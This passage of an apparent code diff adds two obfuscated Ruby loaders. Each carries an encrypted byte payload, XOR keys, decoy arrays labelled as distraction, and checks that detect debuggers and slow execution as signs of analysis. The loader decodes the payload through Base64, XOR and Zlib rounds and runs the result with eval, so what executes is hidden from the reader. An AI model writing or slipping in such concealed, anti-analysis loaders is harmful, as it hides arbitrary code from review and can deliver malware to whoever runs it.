87, 132, 243, 36, 205, 153, 76, 218, 111, 255, 46, 126, 238, 143, 188, 75, 123, 72, 66, 216, 26, 225, 55, 53, 250, 151, 200, 119, 98, 152, 184, 223, 101, 134, 216, 119, 2, 82, 128, 13, 184, 146, 7, 72, 175, 240, 217, 177, 0, 93, 205, 141, 30, 9, 225, 180, 209, 184, 94, 163, 132, 175, 134, 94, 85, 219, 165, 28, 17, 18, 38, 251, 90, 134, 213, 59, 188, 251, 1, 15, 28, 234, 55, 240, 201, 112, 80, 6, 236, 240, 231, 50, 127, 147, 86, 105, 243, 54, 41, 229, 241, 79, 134, 122, 123, 11, 240, 238, 77, 90, 122, 137, 82, 20, 10, 237, 79, 84, 66, 119, 130, 82, 2, 177, 76, 7, 64, 97, 83, 125, 86, 245, 216, 154, 20, 243, 34, 131, 241, 152, 68, 130, 31, 162, 85, 244, 23, 136, 4, 37, 155, 209, 78, 45, 160, 39, 139, 62, 65, 124, 93, 108, 244, 127, 127, 51, 85, 124, 36, 123, 195, 227, 252, 105, 169, 189, 155, 196, 210, 241, 155, 32, 89, 29, 172, 163, 49, 51, 80, 75, 28, 174, 195, 114, 188, 24, 84, 85, 116, 220, 237, 248, 246, 221, 52, 252, 132, 248, 228, 98, 7, 213, 66, 81, 36, 207, 103, 97, 94, 252, 150, 201, 59, 198, 202, 32, 130, 168, 160, 99, 28, 239, 209, 211, 31, 34, 26, 26, 124, 156, 152, 225, 80, 89, 180, 253, 140, 211, 236, 23, 86, 122, 241, 8, 87, 81, 126, 49, 128, 238, 9, 98, 213, 128, 56, 147, 132, 249, 38, 149, 155, 84, 126, 165, 250, 138, 197, 245, 64, 202, 60, 124, 173, 49, 250, 125, 215, 183, 161, 184, 233, 115, 204, 15, 94, 34, 141, 192, 107, 32, 38, 8, 134, 85, 121, 110, 244, 248, 78, 159, 237, 145, 157, 207, 82, 72, 15, 201, 136, 93, 1, 215, 178, 145, 160, 38, 76, 49, 207, 222, 117, 230, 48, 157, 242, 205, 148, 166, 35, 255, 198, 127, 30, 56, 110, 31, 115, 101, 7, 141, 248, 42, 166, 12, 51, 146, 159, 81, 228, 35, 101, 230, 59, 152, 157, 83, 77, 214, 244, 44, 1, 147, 207, 186, 103, 165, 31, 227, 69, 117, 83, 170, 254, 4, 30, 79, 141, 129, 215, 238, 231, 8, 185, 73, 130, 209, 227, 111, 27, 47, 52, 156, 171, 196, 164, 166, 131, 36, 116, 213, 82, 222, 241, 101, 40, 31, 14, 137, 184, 87, 226, 199, 161, 248, 190, 93, 249, 212, 179, 133, 86, 74, 121, 23, 105, 121, 106, 245, 83, 35, 172, 137, 187, 74, 229, 34, 24, 17, 119, 216, 32, 82, 158, 22, 225, 145, 134, 55, 88, 187, 58, 30, 63, 144, 116, 185, 145, 110, 110, 156, 174, 239, 171, 54, 89, 127, 127, 233, 182, 224, 231, 40, 215, 34, 7, 45, 137, 145, 246, 197, 76, 14, 202, 177, 60, 83, 103, 27, 199, 243, 68, 238, 194, 223, 191, 21, 154, 71, 37, 39, 224, 234, 226, 19, 24, 36, 109, 26, 129, 80, 86, 55, 255, 163, 201, 111, 41, 182, 239, 218, 32, 170, 176, 203, 254, 187, 77, 176, 164, 48, 168, 184, 46, 191, 203, 232, 232, 46, 198, 206, 13, 61, 96, 125, 155, 183, 217, 88, 171, 15, 17, 77, 152, 71, 243, 175, 184, 33, 156, 121, 64, 5, 177, 141, 20, 12, 21, 240, 50, 208, 246, 153, 25, 14, 5, 183, 220, 188, 249, 135, 114, 128, 64, 188, 248, 78, 48, 160, 194, 27, 104, 141, 90, 150, 187, 23, 33, 58, 100, 236, 204, 241, 5, 152, 14, 112, 132, 95, 42, 217, 87, 146, 11, 12, 15, 112, 235, 179, 120, 230, 239, 9, 132, 194, 128, 90, 225, 6, 62, 208, 131, 101, 60, 233, 157, 189, 204, 28, 37, 134, 227, 50, 157, 110, 210, 12, 210, 169, 41, 250, 160, 112, 142, 77, 65, 144, 185, 141, 40, 231, 168, 35, 109, 20, 37, 33, 252, 195, 234, 162, 246, 180, 163, 174, 21, 174, 155, 254, 38, 220, 36, 48, 126, 162, 236, 90, 53, 11, 150, 213, 202, 137, 221, 78, 144, 237, 91, 192, 249, 39, 33, 206, 1, 142, 11, 211, 112, 94, 171, 25, 249, 111, 92, 174, 32, 18, 245, 137, 229, 221, 133, 12, 26, 6, 200, 48, 187, 245, 18, 217, 134, 12, 42, 121, 144, 67, 8, 32, 217, 135, 6, 250, 132, 223, 38, 231, 87, 91, 250, 134, 78, 20, 176, 34, 76, 12, 35, 40, 112, 192, 137, 249, 177, 75, 162, 196, 125, 197, 214, 121, 36, 93, 233, 41, 149, 116, 102, 179, 139, 70, 241, 235, 112, 156, 70, 235, 164, 130, 245, 221, 45, 156, 176, 183, 241, 146, 233, 178, 40, 64, 254, 125, 166, 241, 137, 112, 110, 114, 117, 234, 35, 134, 53, 150, 120, 218, 81, 49, 113, 206, 42, 101, 192, 68, 53, 85, 74, 117, 92, 5, 238, 142, 11, 192, 91, 70, 237, 32, 132, 74, 8, 129, 232, 20, 38, 193, 97, 4, 250, 109, 5, 220, 49, 33, 19, 205, 22, 227, 205, 17, 210, 230, 244, 113, 202, 196, 248, 120, 112, 72, 72, 187, 108, 11, 179, 87, 198, 158, 135, 113, 77, 40, 160, 128, 5, 182, 92, 81] # Main encrypted payload
52
+
53
+ # === EMBEDDED KEYS (obfuscated) ===
54
+ _w2ea30b = [138, 236, 5, 252, 69, 220, 0, 2, 64, 161, 88, 203, 212, 220, 201, 232, 195, 90, 123, 112]
55
+
56
+ # === ENCODING TYPE TRACKER ===
57
+ _f1a0339 = [0, 1, 0, 0, 0]
58
+
59
+ # === STORED CHECKSUM ===
60
+ _qb83fbe = '3e24669d841da52067c547bee0b7a351ed66e5a79ce60971ecc9be6831152381'
61
+
62
+ # === DECOY DATA (distraction) ===
63
+ _b7f8333 = [188, 235, 92, 39, 65, 93, 198, 8, 92, 170, 45, 206, 149, 159, 8, 140, 149, 203, 21, 55, 206, 142, 156, 238, 73, 118, 250, 178, 120, 84, 252, 32, 29, 243, 85, 223, 173, 92, 207, 112, 166, 152, 27, 210, 146, 177, 118, 134, 236, 109, 227, 126, 232, 52, 77, 138, 180, 115, 4, 63, 38, 218, 137, 72, 82, 187, 113, 188, 162, 65, 162, 118, 95, 31, 119, 243, 214, 173, 107, 66, 39, 237, 0, 170, 41, 53, 128, 141, 46, 221, 125, 126, 36, 213, 141, 169, 211, 113, 157, 252, 250, 134, 160, 191, 244, 61, 149, 9]
64
+ _f70a087 = [74, 239, 239, 237, 24, 65, 19, 113, 89, 80, 7, 86, 221, 81, 145, 94, 122, 46, 162, 201, 132, 253, 36, 250, 165, 27, 60, 160, 75, 247, 78, 84, 14, 165, 5, 213, 116, 77, 140, 202, 16, 254, 120, 25, 61, 93, 124, 171, 157, 116, 113, 15, 183, 133, 122, 91, 67, 31, 168, 128, 129, 45, 188, 186, 230, 188, 15, 67, 202, 190, 140, 95, 195, 94, 217, 126, 60, 159, 65, 91]
65
+ _v6ff690 = [217, 144, 117, 182, 62, 14, 150, 244, 155, 133, 230, 20, 126, 173, 144, 143, 234, 47, 137, 229, 235, 7, 36, 192, 81, 166, 134, 95, 244, 89, 42, 69, 137, 113, 167, 242, 64, 149, 112, 62, 192, 159, 146, 245, 8, 181, 124, 159, 66, 243, 121, 70, 28, 227, 94, 82, 19, 41, 159, 32, 136, 252, 219, 86, 146, 228, 149, 106, 252, 37, 98, 102, 159, 74, 133, 182, 226, 156, 47, 33, 239, 170, 232, 167, 162, 73, 126, 168, 111, 135, 84, 22, 216, 213, 121, 34, 81, 48, 236, 116, 120, 3, 255, 2, 102, 48, 22, 50, 231, 80, 172, 211, 197, 152, 111, 48, 108, 220, 100, 130, 147, 71, 41, 93, 114, 182, 250, 238, 166, 101, 43, 172, 0, 68, 215]
66
+
67
+ # === FIXED DECRYPTION ALGORITHM ===
68
+ begin
69
+ # 1. Verify integrity BEFORE decryption
70
+ unless _o437994.call(_cd40d3c, _f1a0339, _w2ea30b, _qb83fbe)
71
+ raise "Integrity verification failed"
72
+ end
73
+
74
+ # 2. Start with the encrypted data
75
+ _tf41246 = _cd40d3c.dup
76
+
77
+ # 3. Decryption loop (must reverse encryption steps)
78
+ 5.times do |_a3be765|
79
+ # Calculate which round we're reversing
80
+ _b657013 = 5 - _a3be765 - 1
81
+
82
+ # Get key for this reverse round
83
+ _z1ef804 = 4
84
+ _r4a865e = _b657013 * _z1ef804
85
+ _r4499c5 = _w2ea30b[_r4a865e, _z1ef804]
86
+
87
+ # DECRYPTION STEPS (REVERSED ORDER from encryption):
88
+ # Encryption was: Compress → XOR → (Maybe) Base64
89
+ # Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
90
+
91
+ # A. Base64 decode if this round used it
92
+ if _f1a0339[_b657013] == 1
93
+ _g909a5e = _tf41246.pack('C*')
94
+ _g909a5e = Base64.strict_decode64(_g909a5e)
95
+ _tf41246 = _g909a5e.bytes
96
+ end
97
+
98
+ # B. XOR decrypt with the key
99
+ _tf41246 = _s73c981.call(_tf41246, _r4499c5)
100
+
101
+ # C. Inflate (decompress) the data
102
+ _g909a5e = _tf41246.pack('C*')
103
+ _g909a5e = Zlib::Inflate.inflate(_g909a5e)
104
+ _tf41246 = _g909a5e.bytes
105
+ end
106
+
107
+ # 4. Final verification and execution
108
+ _y91f369 = _tf41246.pack('C*')
109
+
110
+ # Quick syntax check before eval
111
+ if _y91f369.strip.empty? || _y91f369.length < 10
112
+ raise "Decryption resulted in invalid code"
113
+ end
114
+
115
+ # No user-facing output here; the loader should not print this during decryption
116
+ eval(_y91f369, binding, __FILE__, __LINE__)
117
+
118
+ rescue => _nc7611f
119
+ # Graceful error handling
120
+ warn "DECRYPTION ERROR: #{_nc7611f.message}"
121
+ warn "This file appears to be corrupted or tampered with."
122
+ exit 1
123
+ end
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require 'base64'
5
+ require 'zlib'
6
+ require 'digest'
7
+
8
+ # === ANTI-ANALYSIS PROTECTIONS ===
9
+ _l77a60a = lambda do
10
+ # Analyzer detection
11
+ if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12
+ warn "WARNING: analysis environment detected"
13
+ # Optional: exit(1) for stronger protection
14
+ end
15
+
16
+ # Quick execution speed check
17
+ _sefec48 = Time.now
18
+ 100.times { |_| Math.sqrt(_) }
19
+ if (Time.now - _sefec48) > 0.1 # Adjust threshold as needed
20
+ warn "WARNING: Execution too slow - possible analysis environment"
21
+ end
22
+
23
+ # Return environment fingerprint
24
+ [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
25
+ end
26
+
27
+ # Run environment check
28
+ _m57bd62 = _l77a60a.call
29
+
30
+ # === FIXED XOR DECRYPTOR ===
31
+ _x341b9c = ->(_q070dfb, _da1c331) do
32
+ _o24cd9d = []
33
+ _q070dfb.each_with_index do |byte, idx|
34
+ _o24cd9d << (byte ^ _da1c331[idx % _da1c331.length])
35
+ end
36
+ _o24cd9d
37
+ end
38
+
39
+
40
+ # === INTEGRITY VERIFICATION ===
41
+ _q51b76b = lambda do |_ga6655b, _t44001e, _yd0610f, _m0af246|
42
+ # Verify checksum before any decryption
43
+ current_hash = Digest::SHA256.hexdigest(_ga6655b.pack('C*'))
44
+ if current_hash != _m0af246
45
+ raise "SECURITY ERROR: File integrity check failed"
46
+ end
47
+ true
48
+ end
49
+
50
+ # === EMBEDDED ENCRYPTED DATA ===
51
+ _ga6655b = [26, 202, 53, 11, 87, 134, 189, 159, 114, 20, 55, 219, 226, 75, 176, 164, 125, 167, 52, 232, 21, 94, 135, 132, 45, 192, 203, 193, 21, 5, 17, 39, 67, 255, 50, 228, 36, 237, 90, 27, 30, 44, 233, 81, 187, 158, 65, 122, 80, 38, 21, 105, 63, 210, 104, 253, 19, 181, 246, 62, 181, 51, 28, 53, 71, 83, 140, 36, 230, 19, 210, 122, 90, 47, 111, 23, 67, 20, 215, 34, 127, 132, 241, 64, 160, 183, 54, 210, 159, 130, 56, 70, 149, 180, 161, 88, 1, 57, 107, 168, 214, 168, 114, 11, 196, 28, 149, 192, 117, 37, 213, 121, 164, 91, 160, 18, 199, 194, 41, 135, 58, 138, 106, 118, 190, 59, 86, 187, 168, 83, 93, 177, 243, 144, 202, 22, 248, 15, 99, 191, 95, 134, 163, 72, 9, 19, 249, 254, 150, 250, 81, 59, 35, 13, 31, 121, 179, 120, 192, 80, 12, 1, 146, 98, 142, 104, 17, 116, 138, 139, 131, 241, 127, 3, 24, 3, 160, 128, 182, 20, 226, 157, 39, 150, 253, 180, 190, 150, 118, 105, 77, 95, 154, 87, 115, 219, 28, 139, 180, 154, 101, 42, 209, 10, 201, 17, 29, 57, 205, 234, 48, 95, 50, 154, 200, 78, 43, 96, 35, 158, 210, 61, 26, 223, 254, 70, 49, 121, 181, 33, 255, 182, 36, 125, 127, 13, 107, 243, 149, 104, 205, 79, 154, 234, 82, 27, 198, 206, 30, 245, 202, 4, 126, 41, 16, 89, 188, 105, 103, 51, 19, 216, 43, 220, 231, 176, 14, 155, 19, 147, 51, 250, 21, 64, 119, 244, 3, 100, 92, 209, 133, 157, 40, 3, 141, 13, 149, 56, 118, 144, 115, 156, 73, 98, 130, 37, 187, 122, 176, 236, 7, 192, 153, 179, 34, 74, 167, 5, 41, 149, 197, 178, 159, 207, 35, 166, 5, 69, 1, 220, 108, 122, 158, 114, 234, 224, 233, 215, 255, 5, 132, 161, 189, 63, 65, 143, 197, 217, 240, 111, 253, 195, 244, 168, 194, 138, 160, 20, 54, 143, 183, 246, 234, 219, 165, 149, 241, 162, 146, 204, 133, 21, 72, 4, 149, 218, 137, 153, 73, 93, 167, 79, 34, 99, 149, 94, 99, 4, 76, 102, 210, 247, 130, 159, 146, 157, 36, 126, 94, 126, 84, 39, 97, 180, 144, 115, 142, 56, 208, 76, 100, 52, 93, 87, 7, 118, 138, 199, 7, 14, 5, 188, 247, 132, 246, 136, 172, 68, 65, 64, 122, 123, 97, 10, 120, 255, 155, 1, 158, 19, 95, 199, 114, 201, 66, 34, 147, 203, 43, 178, 247, 181, 111, 94, 58, 245, 82, 9, 147, 225, 29, 137, 1, 165, 211, 12, 239, 147, 223, 84, 55, 84, 212, 5, 149, 26, 235, 54, 63, 70, 25, 74, 146, 150, 116, 172, 169, 123, 146, 16, 39, 145, 223, 219, 83, 190, 114, 227, 191, 133, 232, 226, 141, 44, 208, 75, 108, 39, 188, 63, 2, 34, 108, 163, 219, 53, 227, 127, 50, 255, 111, 56, 74, 158, 139, 140, 88, 154, 100, 94, 77, 170, 19, 248, 188, 157, 61, 64, 85, 204, 178, 64, 150, 91, 43, 14, 76, 57, 2, 215, 61, 220, 15, 88, 78, 101, 117, 197, 181, 129, 207, 5, 133, 169, 255, 21, 107, 177, 221, 35, 97, 134, 194, 145, 119, 74, 124, 150, 231, 190, 15, 227, 209, 133, 136, 232, 141, 115, 125, 79, 241, 127, 152, 128, 229, 46, 163, 223, 37, 207, 232, 59, 109, 137, 90, 161, 59, 162, 203, 241, 157, 110, 51, 29, 212, 98, 60, 139, 255, 22, 97, 183, 128, 22, 233, 24, 24, 52, 192, 124, 177, 88, 242, 114, 131, 244, 65, 234, 189, 206, 44, 127, 151, 212, 234, 113, 97, 139, 22, 161, 94, 224, 139, 113, 7, 18, 125, 187, 212, 211, 176, 70, 59, 81, 108, 248, 123, 63, 98, 213, 160, 153, 44, 182, 8, 49, 71, 211, 1, 183, 5, 122, 157, 63, 113, 131, 48, 54, 231, 25, 245, 247, 210, 143, 252, 87, 103, 233, 68, 149, 2, 81, 36, 115, 214, 67, 127, 116, 65, 138, 74, 73, 26, 76, 57, 203, 148, 238, 255, 118, 89, 100, 233, 120, 84, 138, 39, 228, 229, 188, 98, 92, 58, 255, 51, 119, 249, 67, 108, 230, 171, 241, 91, 87, 178, 28, 208, 251, 208, 127, 73, 236, 207, 201, 104, 65, 102, 43, 20, 139, 144, 69, 37, 215, 150, 18, 218, 176, 221, 7, 115, 159, 163, 155, 120, 47, 189, 58, 165, 101, 101, 63, 228, 105, 182, 251, 177, 145, 144, 89, 80, 242, 63, 12, 14, 130, 109, 251, 187, 255, 218, 175, 157, 36, 14, 67, 156, 185, 242, 112, 238, 152, 4, 101, 19, 158, 88, 136, 100, 249, 139, 7, 109, 89, 218, 182, 203, 179, 205, 206, 57, 63, 226, 134, 166, 67, 175, 197, 48, 215, 182, 98, 111, 228, 9, 122, 60, 127, 243, 36, 68, 111, 34, 28, 198, 101, 96, 16, 114, 101, 253, 139, 238, 21, 107, 83, 94, 122, 28, 148, 5, 129, 185, 0, 245, 99, 219, 241, 200, 102, 57, 255, 62, 78, 170, 6, 78, 244, 185, 16, 186, 206, 216, 254, 231, 37, 4, 122, 122, 10, 70, 210, 141, 243, 91, 236, 128, 60, 188, 109, 122, 189, 121, 75, 88, 172, 118, 125, 186, 223, 30, 38, 32, 194, 71, 9, 98, 199, 213, 50, 42, 214, 145, 101, 122, 220, 0, 42, 117, 115, 27, 40, 84, 224, 224, 27, 237, 63, 143, 35, 196, 30, 6, 24, 26, 242, 79, 211, 152, 209, 124, 88, 93, 84, 4, 10, 41, 182, 91, 162, 242, 36, 183, 11, 28, 213, 185, 176, 85, 147, 8, 19, 97, 162, 161, 22, 128, 212, 254, 179, 78, 168, 163, 4, 73, 66, 84, 28, 95, 133, 172, 0, 101, 24, 7, 26, 194, 236, 140, 180, 238, 217, 19, 185, 188, 82, 121, 14, 120, 161, 139, 25, 125, 157, 232, 17, 139, 165, 249, 224, 190, 138, 64, 228, 36, 102, 108, 38, 78, 241, 148, 48, 89, 215, 108, 144, 68, 152, 244, 98, 59, 246, 71, 174, 6, 134, 62, 44, 54, 206, 144, 8, 233, 216, 70, 164, 143, 53, 53, 82, 221, 142, 204, 130, 149, 137, 95, 152, 138, 189, 120, 150, 117, 118, 57, 235, 174, 90, 17, 50, 24, 220, 251, 133, 116, 2, 172, 231, 43, 158, 76, 13, 224, 148, 228, 198, 95, 191, 110, 102, 37, 28, 157, 169, 38, 196, 26, 204, 88, 45, 44, 234, 81, 120, 61, 80, 228, 187, 10, 145, 149, 156, 191, 189, 85, 73, 99, 165, 165, 55, 215, 211, 154, 212, 21, 91, 233, 72, 211, 171, 28, 225, 24, 199, 201, 180, 252, 45, 224, 188, 69, 119, 221, 37, 65, 69, 76, 208, 89, 79, 35, 210, 253, 13, 79, 116, 253, 143, 226, 97, 143, 134, 38, 12, 93, 103, 131, 219, 116, 42, 151, 230, 71, 33, 207, 87, 232, 175, 95, 113, 197, 182, 161, 183, 88, 172, 215, 178, 246, 55, 186, 244, 116, 204, 110, 154, 1, 85, 210, 63, 149, 246, 63, 162, 154, 241, 254, 164, 126, 105, 154, 106, 15, 40, 95, 127, 79, 190, 247, 41, 225, 205, 172, 139, 92, 223, 130, 129, 97, 213, 7, 48, 3, 198, 152, 120, 7, 119, 63, 189, 243, 63, 252, 221, 172, 178, 86, 162, 102, 8, 225, 249, 164, 159, 160, 221, 161, 76, 29, 154, 177, 182, 70, 43, 235, 49, 143, 5, 11, 239, 167, 6, 183, 187, 152, 72, 191, 70, 197, 102, 11, 14, 64, 136, 140, 226, 110, 162, 93, 63, 235, 178, 162, 112, 182, 179, 135, 143, 215, 183, 98, 63, 187, 125, 245, 1, 104, 94, 158, 195, 237, 118, 89, 130, 201, 202, 139, 119, 169, 142, 4, 180, 111, 22, 9, 0, 17, 39, 202, 8, 94, 213, 175, 100, 212, 168, 73, 112, 224, 239, 251, 37, 102, 44, 66, 187, 38, 59, 15, 1, 92, 55, 82, 42, 0, 27, 33, 192, 66, 176, 118, 105, 74, 112, 129, 73, 2, 177, 207, 222, 194, 95, 114, 60, 146, 33, 229, 151, 142, 41, 201, 92, 43, 238, 191, 154, 166, 22, 246, 126, 85, 52, 3, 197, 124, 6, 87, 118, 206, 45, 97, 233, 12, 164, 185, 181, 69, 159, 87, 64, 248, 150, 48, 113, 34, 43, 86, 105, 43, 29, 38, 133, 182, 78, 121, 18, 52, 169, 199, 190, 86, 250, 192, 47, 120, 16, 213, 5, 112, 136, 150, 192, 70, 232, 185, 128, 229, 85, 144, 170, 255, 101, 174, 176, 200, 239, 250, 28, 61, 65, 87, 37, 45, 253, 242, 19, 219, 114, 180, 133, 148, 47, 100, 78, 249, 136, 17, 109, 130, 28, 112, 230, 117, 116, 93, 158, 100, 34, 52, 152, 153, 107, 220, 5, 145, 102, 171, 194, 231, 16, 167, 17, 145, 65, 10, 193, 235, 40, 215, 251, 72, 149, 15, 128, 41, 140, 78, 78, 103, 218, 38, 152, 130, 44, 165, 61, 179, 89, 170, 176, 206, 41, 183, 51, 162, 114, 111, 240, 52, 99, 11, 168, 247, 71, 143, 24, 59, 242, 132, 42, 132, 228, 82, 111, 94, 183, 108, 117, 154, 166, 181, 91, 94, 235, 244, 87, 233, 23, 34, 41, 105, 60, 124, 169, 6, 138, 33, 149, 251, 64, 183, 246, 210, 157, 197, 137, 46, 28, 254, 164, 158, 177, 195, 150, 216, 209, 110, 106, 65, 4, 7, 57, 220, 228, 19, 101, 201, 188, 150, 247, 75, 222, 148, 118, 52, 226, 147, 25, 39, 52, 10, 194, 165, 201, 127, 58, 7, 154, 59, 101, 33, 86, 165, 135, 28, 165, 253, 230, 135, 70, 140, 186, 82, 101, 223, 54, 182, 104, 245, 116, 33, 23, 251, 253, 105, 87, 47, 138, 115, 1, 51, 202, 8, 158, 123, 208, 181, 130, 47, 211, 60, 139, 182, 23, 122, 38, 241, 244, 17, 102, 173, 104, 209, 10, 179, 79, 228, 91, 206, 174, 173, 133, 117, 161, 85, 25, 230, 111, 97, 33, 111, 35, 216, 221, 219, 143, 202, 178, 234, 236, 26, 145, 83, 133, 167, 231, 118, 30, 145, 110, 67, 128, 77, 173, 188, 110, 58, 136, 178, 247, 218, 236, 243, 161, 142, 66, 70, 227, 121, 144, 201, 29, 180, 71, 137, 33, 173, 122, 241, 125, 166, 197, 234, 219, 196, 10, 221, 20, 48, 66, 253, 138, 182, 143, 122, 236, 231, 0, 161, 83, 75, 158, 119, 90, 121, 3, 176, 12, 81, 26, 215, 27, 62, 18, 24, 222, 44, 30, 149, 72, 17, 253, 25, 216, 97, 13, 64, 6, 241, 209, 60, 12, 228, 1, 105, 14, 140, 144, 215, 110, 154, 14, 168, 31, 71, 159, 222, 198, 104, 32, 156, 236, 227, 216, 199, 129, 22, 113, 99, 235, 115, 94, 111, 15, 17, 242, 59, 155, 94, 207, 226, 212, 239, 109, 202, 235, 148, 236, 196, 198, 16, 77, 84, 240, 234, 1, 171, 53, 137, 161, 67, 122, 255, 12, 5, 55, 235, 228, 161, 13, 221, 69, 82, 125, 139, 108, 156, 57, 157, 236, 119, 107, 78, 153, 77, 200, 177, 10, 252, 137, 71, 131, 138, 163, 209, 8, 154, 180, 18, 244, 122, 243, 71, 32, 233, 17, 22, 36, 242, 155, 244, 112, 233, 202, 21, 79, 64, 240, 54, 130, 71, 172, 49, 211, 64, 37, 50, 103, 59, 101, 246, 98, 254, 114, 141, 79, 140, 128, 13, 246, 254, 209, 90, 62, 129, 13, 103, 26, 211, 86, 221, 120, 62, 18, 6, 116, 108, 171, 174, 95, 23, 2, 190, 180, 197, 142, 48, 141, 46, 30, 90, 22, 228, 162, 11, 59, 58, 34, 165, 111, 140, 62, 44, 202, 80, 193, 227, 74, 153, 37, 26, 49, 140, 238, 247, 177, 214, 178, 177, 251, 245, 200, 240, 44, 57, 23, 168, 21, 248, 140, 12, 182, 47, 81, 131, 34, 180, 79, 6, 210, 38, 162, 220, 82, 3, 4, 212, 166, 60, 14, 219, 237, 235, 124, 44, 157, 137, 208, 141, 226, 167, 70, 47, 205, 104, 179, 213, 56, 103, 110, 194, 57, 3, 12, 153, 201, 236, 114, 181, 241, 124, 48, 90, 145, 245, 184, 231, 87, 143, 57, 192, 196, 29, 129, 240, 218, 211, 242, 157, 220, 169, 102, 158, 122, 166, 8, 133, 21, 236, 224, 6, 98, 161, 112, 249, 83, 97, 172, 60, 239, 215, 161, 156, 135, 32, 55, 217, 133, 177, 93, 1, 150, 115, 14, 0, 119, 244, 128, 122, 11, 154, 185] # Main encrypted payload
52
+
53
+ # === EMBEDDED KEYS (obfuscated) ===
54
+ _o15ac10 = [137, 253, 36, 36, 191, 100, 102, 186, 156, 157, 135, 119, 148, 158, 131, 155, 98, 16, 56, 159]
55
+
56
+ # === ENCODING TYPE TRACKER ===
57
+ _t44001e = [0, 1, 1, 1, 0]
58
+
59
+ # === STORED CHECKSUM ===
60
+ _m0af246 = '3cfe05f6ed64c1f28eb6ed3348624c07d468296e34e447ce548c37eee217c50b'
61
+
62
+ # === DECOY DATA (distraction) ===
63
+ _j0350f5 = [72, 135, 147, 245, 172, 114, 66, 50, 242, 200, 137, 214, 44, 20, 218, 87, 232, 20, 100, 89, 130, 105, 199, 1, 124, 22, 10, 111, 62, 177, 95, 124, 212, 38, 249, 150, 131, 215, 129, 19, 111, 90, 32, 19, 2, 113, 19, 21, 87, 210, 155, 177, 157, 146, 88, 240, 245, 131, 31, 240, 20, 122, 223, 27, 147, 136, 60, 245, 112, 9, 140, 99, 42, 145, 2, 8, 184, 236, 144, 206, 110, 191, 26, 144, 103, 253, 231, 84, 19, 58, 51, 41, 230, 196, 205, 205, 183, 238, 184, 28, 243, 220, 33, 212, 207, 160, 181, 142, 137, 94, 239, 54, 246, 67, 179, 121, 204, 186]
64
+ _x14f09f = [240, 160, 98, 171, 144, 59, 243, 230, 108, 102, 24, 119, 148, 0, 249, 215, 94, 97, 141, 42, 73, 190, 163, 144, 78, 198, 76, 15, 101, 60, 79, 105, 215, 139, 164, 140, 143, 108, 163, 47, 174, 100, 37, 164, 48, 127, 245, 40, 175, 21, 3, 51, 105, 147, 78, 26, 58, 209, 233, 88, 131, 225, 226, 98, 201, 102, 64, 3, 234, 111, 181, 80, 91, 70, 195, 226, 32, 37, 203, 121, 29, 212, 201, 56, 31, 48, 252, 208, 1, 32, 232, 95, 129, 106, 32, 212, 71]
65
+ _ef557f6 = [62, 96, 248, 4, 18, 18, 114, 18, 158, 253, 34, 36, 93, 248, 50, 225, 42, 75, 230, 229, 244, 183, 5, 60, 114, 93, 228, 81, 154, 198, 105, 125, 126, 24, 25, 146, 240, 141, 243, 197, 63, 221, 99, 204, 19, 61, 141, 102, 98, 104, 95, 184, 244, 215, 191, 34, 60, 153, 81, 112, 180, 62, 191, 187, 156, 132, 210, 117, 251, 109, 137, 150, 29, 7, 187, 249, 55, 85]
66
+
67
+ # === FIXED DECRYPTION ALGORITHM ===
68
+ begin
69
+ # 1. Verify integrity BEFORE decryption
70
+ unless _q51b76b.call(_ga6655b, _t44001e, _o15ac10, _m0af246)
71
+ raise "Integrity verification failed"
72
+ end
73
+
74
+ # 2. Start with the encrypted data
75
+ _l811267 = _ga6655b.dup
76
+
77
+ # 3. Decryption loop (must reverse encryption steps)
78
+ 5.times do |_nc91422|
79
+ # Calculate which round we're reversing
80
+ _b793449 = 5 - _nc91422 - 1
81
+
82
+ # Get key for this reverse round
83
+ _g610a6f = 4
84
+ _cba1086 = _b793449 * _g610a6f
85
+ _h452640 = _o15ac10[_cba1086, _g610a6f]
86
+
87
+ # DECRYPTION STEPS (REVERSED ORDER from encryption):
88
+ # Encryption was: Compress → XOR → (Maybe) Base64
89
+ # Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
90
+
91
+ # A. Base64 decode if this round used it
92
+ if _t44001e[_b793449] == 1
93
+ _le608b6 = _l811267.pack('C*')
94
+ _le608b6 = Base64.strict_decode64(_le608b6)
95
+ _l811267 = _le608b6.bytes
96
+ end
97
+
98
+ # B. XOR decrypt with the key
99
+ _l811267 = _x341b9c.call(_l811267, _h452640)
100
+
101
+ # C. Inflate (decompress) the data
102
+ _le608b6 = _l811267.pack('C*')
103
+ _le608b6 = Zlib::Inflate.inflate(_le608b6)
104
+ _l811267 = _le608b6.bytes
105
+ end
106
+
107
+ # 4. Final verification and execution
108
+ _l4b5483 = _l811267.pack('C*')
109
+
110
+ # Quick syntax check before eval
111
+ if _l4b5483.strip.empty? || _l4b5483.length < 10
112
+ raise "Decryption resulted in invalid code"
113
+ end
114
+
115
+ # No user-facing output here; the loader should not print this during decryption
116
+ eval(_l4b5483, binding, __FILE__, __LINE__)
117
+
118
+ rescue => _m4f1faa
119
+ # Graceful error handling
120
+ warn "DECRYPTION ERROR: #{_m4f1faa.message}"
121
+ warn "This file appears to be corrupted or tampered with."
122
+ exit 1
123
+ end